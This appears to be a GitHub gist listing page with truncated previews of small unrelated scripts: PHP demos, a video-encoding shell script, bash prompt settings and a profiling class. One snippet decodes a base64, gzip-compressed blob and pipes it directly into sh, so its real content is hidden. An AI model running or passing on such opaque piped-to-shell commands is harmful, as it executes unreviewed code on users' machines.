This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import subprocess, re, sys | |
#get arguments | |
if len(sys.argv) < 3: | |
sys.exit("invalid arguments!") | |
upload_file = sys.argv[1] | |
#expire_time = "30 minutes" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo "H4sIADroaE0AA0tOLFHQT0kt0y8tSsxLyc9VqFFISixONTMBMkqKFAwMjYxNTM3MLSwdnZxdXN3c | |
PTy9vH18/fwDAoOCQ0LDwiMio7RjEpNTUtPSMzKzsnNy8wsKi0vKyiuqFJSSSovyKhVIJZWANqcX | |
pRYAGTABLgCFrv6kpgAAAA==" | base64 -d | gunzip | sh |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# optimal_bitrate = 50 * 25 * width * height / 256 | |
# credits: http://personal.cscs.ch/~mvalle/mencoder/mencoder.html | |
if [ $1 = "-h" ] ; then | |
echo "usage: twopassenc \"frames_run1/*.png\" output1.avi 1920 1200" | |
echo " [filname search string] [output file] [width] [height]" | |
else | |
bitrate=`(echo "50 * 25 * $3 * $4 / 256"|bc)` | |
echo "Using bitrate: $bitrate" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/php | |
<?php | |
// Do not execute this file through a web server... | |
// inspired by http://stackoverflow.com/questions/3324301/code-golf-digital-clock | |
// If you trim this down to match the task in this thread you get about 240 bytes | |
$parts=str_split(" | _ |_| _||_ | | . 152600134133620143142100122123677666",3); | |
echo PHP_EOL; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$strs=array('1','10','10a10','a12','a','10E3','4.6','4,6','4%6'); | |
foreach ($strs as $str) { | |
$int=(int)$str; | |
$by1=$str*1; | |
$iv=intval($str); | |
echo "$str\tint:\t$int\tby1:\t$by1\tintval:\t$iv\n"; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function foo (){ | |
echo "in \n"; | |
return "bar \n"; | |
} | |
echo "\nComma:\n"; | |
echo foo (),foo (),foo (); | |
echo "\nDot:\n"; | |
echo foo ().foo ().foo (); | |
echo "\n"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# .bashrc commands by bxt | |
# color promt: | |
PS1="\@ \[\033[0;35m\]\u@\\h\[\033[0m\]:\w> " | |
# actually I sometimes use this one (shorter, 24h clock) | |
PS1=" \t \[\033[0;35m\]:\w>\[\033[0m\] " | |
# And when I use zsh I use: | |
PROMPT='%F{205}%~> %f' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* A simple class for tracking execution times of PHP scripts and logging them into CVS files | |
* @author Bernhard Häussner | |
* @see https://gist.github.com/846504 | |
*/ | |
class Profile { | |
private $_start = array(); | |
private $_subdata = ''; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class A { | |
private $foo="a"; | |
protected $bar="a"; | |
function getAstuff() { | |
return $this->foo.'/'.$this->bar; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
find . -type f -iname "*.php" | xargs -n 1 php -l |